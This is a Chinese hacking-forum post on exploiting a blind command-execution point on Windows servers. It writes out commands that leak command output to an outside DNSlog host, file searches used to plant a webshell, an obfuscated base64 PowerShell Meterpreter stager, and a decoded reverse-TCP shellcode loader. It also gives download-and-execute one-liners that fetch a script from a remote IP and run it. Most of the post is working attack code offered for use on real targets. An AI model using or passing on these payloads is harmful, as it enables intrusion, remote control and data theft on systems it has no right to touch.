|
本帖最后由 Jumbo 于 2016-6-17 15:03 编辑
撸站时难免会遇到一些比较特殊的情况,遇到一个可以执行命令的点(Windows,可连外网),却无法获得回显;这种情况下我通常会用这几种方法去尝试:
1、使用CloudEye获取命令执行的结果
2、找Web路径写WebShell
3、下载一个MSF的Payload直接反弹
某些情况下目标直接对公网开放3389,直接加个账户用完再删...
先说第一种方法,使用CloudEye获取回显结果:
- for /F %x in ('whoami') do start http://cmd.xxxxx.dnslog.info/[%x].jpg
复制代码
执行这条命令,会调用默认的浏览器去打开后面的地址,我们可以获取到whoami的命令执行结果。
[/url]
这里有一点比较坑的情况是如果结果中一行有空格,那这一行空格后面的结果会丢掉。
比如我执行Dir D:\这条命令的结果就变成了这样:
- for /F %x in ('dir D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
复制代码
[url=http://static.wooyun.org/upload/image/201606/2016061316095884711.jpg]
好在dir有/b参数可以解决这个问题:
- for /F %x in ('dir /b D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
复制代码
这样就能大致完成遍历目录的工作(目录或文件名有空格也会截断结果)
[/url]
第二种方法:找Web路径:
您要是愿意一个目录一个目录去翻,或是找配置文件来定位Web路径,我也没有意见;但我经常用且行之有效的方法是找一个web目录中文件名字比较特殊一点的文件,然后搜索:
- for /F %x in ('dir /s/a-d/b E:\*PopMessage.jsp') do echo 111222>%x.jsp
复制代码
这样会在E盘中每一个包含PopMessage.jsp的目录中再写一个PopMessage.jsp.jsp,文件内容是111222;待一定时间后命令执行完成,试着去访问生成的这个文件看结果;成功了再写一个一句话又何尝不可,别忘了删除您写的垃圾文件。
同样,您也可以将搜索的路径结果通过CloudEye返回,自己判断哪些有可能是Web目录然后再写文件。
第三种方法:下载MSF的Payload
请参见:[url=http://drops.wooyun.org/tips/2420]http://drops.wooyun.org/tips/2420
我经常用的有3种下载方法:FTP、Powershell、bitsadmin,因为在不能确定目标有没有安装杀软的情况下这3种方法是最行之有效的。
若是目标有Powershell的话,那么会有一种更为简单的方法来获得Meterpreter Shell:
Veil FrameWork已经给我们提供了足够的资源:https://github.com/Veil-Framework/Veil-Evasion/tree/master/modules/payloads/powershell/meterpreter
我使用reverse_tcp的Payload来做测试,若是使用Veil先用对应的Payload,则会生成一个bat文件:
- @echo off
- if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("nVPbbtNAEH33V4wsS7UV23JuUFJV6k2FShCqpoKHKA/OZtosXe9au+Mkbsm/M24doFVBiKdj786cc+aygYBDOPK96ZlSF0VpLIX+HVqNqt9LF0r50QzKaq6kAEc5MeCG+B4uNF2ShS/SUpWrY6WMCNuzdQyV1ASbFusW76OD/9Y5tZgTXi8ZFjudquVdxfBLuf36Tbs9adT9I49s/RA4LnqM6+Tz/BsKgkntCIt0jJROjLhDci1COH3l7nixsOjceV5IVc9GIxZAywFrY+9ieC3jCa/rEjl8QlxE8XrgpTVkhFFt6LUoIy9w6anRmo2Ge93uftrdH6S9ftodDPdieDfsvY3gO5iKEl0pdQBBycVNj63NG29PfbvQ3FQtMPTnNaEfwyDiwA0HMvkVCpQrDIPyBdE932deUP8D3/REEptcoeVWNMYNN6XfY844izrDRq2eZrOGcHNy7q2XUiGErJAo+ntyBA+Nk85zq3Uc3HeGcb8X/7nd5yq/dUw3Nhoj2Ho3xrKkPOyyGcnCCIPmq9NhCXYXyMbeju6FpfdIJ1ypC6e8VDN28iHXC4URZyXd2dYLiHN5L5JmcJAUWMzRnuGN1JKk0RAISMZ5geB/lbrf8yHR/OfKXCA8npxXWjSRDpIyd46WtmomdBjQaPTsjWVxUKcfUd/SMs42/SzLGAZZ5O2cX1WaZIHp41aacoJ2JQW69FNu3TJXzQxNWTcthIwH9/Q6ZmGwSXd9j6IYforw/tFu7O3zY8U42MQNZM9XZkK5pWSiEEtIJiiMXsD+m0GWbUVOYvmw/QE=")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("nVPbbtNAEH33V4wsS7UV23JuUFJV6k2FShCqpoKHKA/OZtosXe9au+Mkbsm/M24doFVBiKdj786cc+aygYBDOPK96ZlSF0VpLIX+HVqNqt9LF0r50QzKaq6kAEc5MeCG+B4uNF2ShS/SUpWrY6WMCNuzdQyV1ASbFusW76OD/9Y5tZgTXi8ZFjudquVdxfBLuf36Tbs9adT9I49s/RA4LnqM6+Tz/BsKgkntCIt0jJROjLhDci1COH3l7nixsOjceV5IVc9GIxZAywFrY+9ieC3jCa/rEjl8QlxE8XrgpTVkhFFt6LUoIy9w6anRmo2Ge93uftrdH6S9ftodDPdieDfsvY3gO5iKEl0pdQBBycVNj63NG29PfbvQ3FQtMPTnNaEfwyDiwA0HMvkVCpQrDIPyBdE932deUP8D3/REEptcoeVWNMYNN6XfY844izrDRq2eZrOGcHNy7q2XUiGErJAo+ntyBA+Nk85zq3Uc3HeGcb8X/7nd5yq/dUw3Nhoj2Ho3xrKkPOyyGcnCCIPmq9NhCXYXyMbeju6FpfdIJ1ypC6e8VDN28iHXC4URZyXd2dYLiHN5L5JmcJAUWMzRnuGN1JKk0RAISMZ5geB/lbrf8yHR/OfKXCA8npxXWjSRDpIyd46WtmomdBjQaPTsjWVxUKcfUd/SMs42/SzLGAZZ5O2cX1WaZIHp41aacoJ2JQW69FNu3TJXzQxNWTcthIwH9/Q6ZmGwSXd9j6IYforw/tFu7O3zY8U42MQNZM9XZkK5pWSiEEtIJiiMXsD+m0GWbUVOYvmw/QE=")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();")
复制代码
为了将其简化,从其中提取Powershell代码:
- $c = @"
- [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
- [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
- "@
- try{
- $s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
- $s.Connect('123.222.123.125', 9527) | out-null;
- $p = [Array]::CreateInstance("byte", 4);
- $x = $s.Receive($p) | out-null;
- $z = 0
- $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5);
- $y[0] = 0xBF
- while ($z -lt [BitConverter]::ToInt32($p,0))
- {
- $z += $s.Receive($y,$z+5,32,[System.Net.Sockets.SocketFlags]::None)
- }
- for ($i=1; $i -le 4; $i++)
- {
- $y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]
- }
- $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;
- $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
- [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
- $t::CreateThread(0,0,$x,0,0,0) | out-null;
- Start-Sleep -Second 86400
- }
- catch{}
复制代码
注意上面设置反弹IP和端口的地方:
$s.Connect('反弹IP', 端口)
我把这些代码写成了一个可以远程调用的方法(rev.ps1):
- function rev {
- $c = @"
- [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
- [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
- "@
- try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
- $s.Connect('122.211.111.222', 9527) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
- $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
- while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
- for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
- $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
- [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
- $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
- }
复制代码
通过远程调用,就不需要往目标服务器上上传文件了:
Metasploit payload/windows/meterpreter/reverse_tcp监听9527端口:
x64执行:
- C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"
复制代码
X86执行:
- powershell -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"
复制代码
成功获得Meterpreter Shell:
[url=http://static.wooyun.org/upload/image/201606/2016061316395042388.jpg][/url]
使用此方法要注意的是目标服务器可以连接外网,且带有Powershell。使用
- powershell set-executionpolicy remotesigned
- C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe set-executionpolicy remotesigned
复制代码
允许Powershell的脚本执行权限。
PS:比如遇到struts2漏洞时,用工具死活传不上去webshell时,可以用文中提到的办法,可以寻找路径,然后echo写马,linux也可以使用wget远程下载,也可以利用vbs下载者下载木马上线,如果支持powershell的话,也可以利用powershell下载执行反弹。
|
|